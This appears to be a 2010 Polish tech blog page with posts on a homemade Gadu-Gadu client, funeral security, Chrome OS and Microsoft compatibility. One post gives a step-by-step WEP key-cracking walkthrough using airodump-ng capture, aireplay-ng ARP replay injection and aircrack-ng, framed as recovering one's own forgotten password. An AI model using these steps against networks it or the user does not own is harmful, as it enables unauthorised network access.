piątek, 23 kwietnia 2010

4GG, alternatywny klient gg od BC

Jak wszyscy doskonale wiemy na Polskim rynku komunikatorów internetowych monopol posiada producent aplikacji Gadu Gadu. Firma ostatnio dość kontrowersyjna z racji wprowadzania wielu durnych bzdetów do swojego komutatora który żre pięco krotnie więcej pamięci operacyjnej niż cały system operacyjny obsługujący Apollo 11 którym to amerykanie podbili księżyc.

Jakie mamy wyjście? No wiec wyjścia są dwa, po pierwsze i najłatwiejsze możemy pogodzić się z wkurwiającymi funkcjami lub druga opcja co bardziej polecam zainstalować alternatywny klient gg.
Tutaj już monopolu takiego nie ma, a i autorzy alternatywnych klientów gadu gadu są bardzo czuli na uwagi konsumentów. Ja jednak w dzisiejszym poście chciałbym sie skupić na aplikacji 4GG mojego autorstwa.
Która powstawała przez ostatnie kilka dni. Chodź komunikator pozornie może wydawać się biedny to własnie taka jest jego główna idea. 4GG ma być lekki, zawierający tylko niezbędne funkcje, mieszczący się w tylko jednym pliku przez co idealnie nadaje się jako program portable.

Aplikacja została napisana w języku c# przy wykozystaniu .net frameworka 3.5. Dodatkowo staram się być wyczulony co do optymalizacji programu.
Aktualnie aplikacja zajmuje tylko 15MB ramu. Przy okazji dodam iż oficjalny klient gg żre aż 130MB pamięci, a alternatywne AQQ 59MB.
Co prawda aplikacja jest jak na razie w wersji rozwojowej i nie jest zbyt stabilna (chociaż u mnie nie pada, tak sama z siebie) wydaje binarkę do waszych testów.

niedziela, 18 kwietnia 2010

Zabezpieczenia pogrzebu na wawelu?

Pogrzeb prezydenta Lecha Kaczyńskiego wraz z małżonką w Krakowie na Wawelu jest uroczystością na skalę światową. Liczba ważnych osobistości takich jak Królowie i Prezydenci innych miast jest dość pokaźna, dlatego specjaliści BOR'u mieli nie lada zadanie aby uprzykrzyć życie potęcjalnym terrorystom.

Co takiego przygotowali?
  • Wszystkie telefony komórkowe na Wawelu nie będą działać, wszystko za pomocą specjalistycznego sprzętu zagłuszającego.
  • Zaplombowane zostaną wszystkie studzienki kanalizacyjne
  • Rozmieszczenie strzelców wyborowych\
  • Przygotowanie zapasów krwi zgodnych z grupami krwi wszystkich dygnitarzy
  • Dodatkowo tak zwane Vipy przybywają odrazu na uroczystość, i odlatują stopniowo po niej

    poniedziałek, 12 kwietnia 2010

    Chrome OS - System Google - Prezentacja

    Nikogo już chyba nie dziwi fakt iż google zabrało się za stworzenie systemu operacyjnego. Chrome os bo tak nazywa się nowy system ze stajni google, podchodzi w zupełnie inny sposób do idei graficznej powłoki systemu.
    Cały system to jedna wielka przeglądarka, a programy przedstawiane są jako aplikacje webowe (gmail, google doc, facebook).
    System napisany jest na podstawie jądra linuxa a wszystkie dane trzymane są zazwyczaj w chmurze.

    Na łamach blogu bc dev postarałem się nagrać kródki film prezentujący wersje testową systemu chrome os.







    Sam już system możemy pobrać wersji źródłowej ze strony producenta chromium.org lub w wersji dla wirtualnego komputera z gdgt.com.

    poniedziałek, 5 kwietnia 2010

    Co jeżeli zapomnieliśmy hasła do naszej sieci wifi?

    Ustalmy sobie przykładowy scenariusz, mamy siec wifi zabezpieczoną kluczem WEP, jednak niestety nie potrafimy sobie przypomnieć do niej hasła, a nasz router ma przepalone wejścia lan. Co można zrobić w takiej sytuacji? No jak to co, obejść zabezpieczenie.

    Czego potrzebujemy
    • Kubek
    • Karton, np kładka od zeszytu
    • System backtrack
    • Karta wifi, z możliwością nasłuchu.
    Dystrybucje backtrack pobieramy z jej oficjalnej strony Tutaj

    Wypalamy obraz iso na płytę, i bootujemy. System nie wymaga instalacji wiec już po paru chwilach możemy przystąpić do pracy.

    Na sam początek odpalamy konsolę
    1. Wpisujemy: airmon-ng i enter. Pojawi się nasza karta wifi. 
    2. Zmieniamy tryb naszej karty wpisując: iwconfig (nazwa karty) mode monitor
    3. Wpisujemy airodump-ng (nazwa karty) – pokazuje nam dostępne sieci i klientów tych sieci. Żeby zatrzymać wyszukiwanie okienek klikamy crtl+C 
    4. Wpisujemy airodump-ng -w passcode -bssid(bssid sieci) -c (kanał) (nazwa karty)  Teraz siec będzie łamana, trzeba zebrac około 20 – 30 tys DATA. Można to przyspieszyć, jeśli
      to danej sieci jest już podłączony jakiś klient.
    5. Otwieramy nowe okienko Shel (nie zamykamy poprzedniego okienka) l i wpisujemy
      aireplay-ng  --arpreplay -b (bssid sieci) -h (station klienta) (nazwa karty) 
    6. Żeby poznać hasło wpisujemy w nowym okienku (nie zamykamy poprzednich okienek)
      dir, a potem  aircrack-ng -a 1 -b (bssid sieci) passcode-01.cap
    7. Hasło pojawi się z dwukropkami, my wpisujemy jest bez dwukropków.
    Poradnik powstał tylko i wyłącznie w celach edukacyjnych. Nie ponoszę odpowiedzialności za
    jakiekolwiek szkody wynikłe z jego użytkowania.

    Microsoft i kompatybilność

    Mam serecznie dość wciskania ludziom kitu ala Windows Vista i całej tej polityce Microsoftu ukierunkowanej na zmuszanie ludzi do kupowania nowych wersji Windowsa, byle można było uruchomic nowego Offica i Visual Studio (bo na poprzednim systemie zabrakło 2 funkcji WinAPI, których programiści Microsoftu nie potrafili wykryć używając GetProcAddress jak robi to reszta świata), albo jakąś aplikację na .NET, która działa w tempie naćpanego żółwia pod górkę (mimo JIT-owanego kodu i innych cudów nie z tego świata) i wysypującą się po 5 minutach z niewiadomych przyczyn.
    Mowię tutaj o Microsoft bo to najbardziej zakłamana firma jaką znam, sami dostarczają materiały jak programować, jak być kompatybilnym, na blogach guru Microsoftowi opowiadają brednie o bugach w specyficznych wersja systemu Windows i jak ich unikać i dlaczego programiści byli głupi, że je popełnili, ale gdy przychodzi do ich własnego oprogramowania to okazuje się, że jest ono jedynie kompatybilne z bieżącą najnowszą wersją systemu operacyjnego i wersją poprzednią z ostatnim service packiem, a wszystkim innym mowią:
    “sorry, ale musisz zaopatrzyć się w nowy system (bo nie chciało nam się zobaczyć dlaczego nie działa na Windows 2000)”
    normalnie szlag mnie trafia… sam piszę oprogramowanie i chyba muszę być jednym z X-MENów skoro potrafię je zrobić kompatybilne (w niemałych mękach, ale jednak) nawet z systemem tak zapomnianym jak Windows 98, ja – 1 osoba, to dlaczego armia programistów Microsoftu nie potrafi dokonać tego samego “cudu”… tak wiem, pieniądze i ciągłe wciskanie ludziom rzeczy, których tak naprawdę nie potrzebują.
    Ale czy można się przed tym bronić?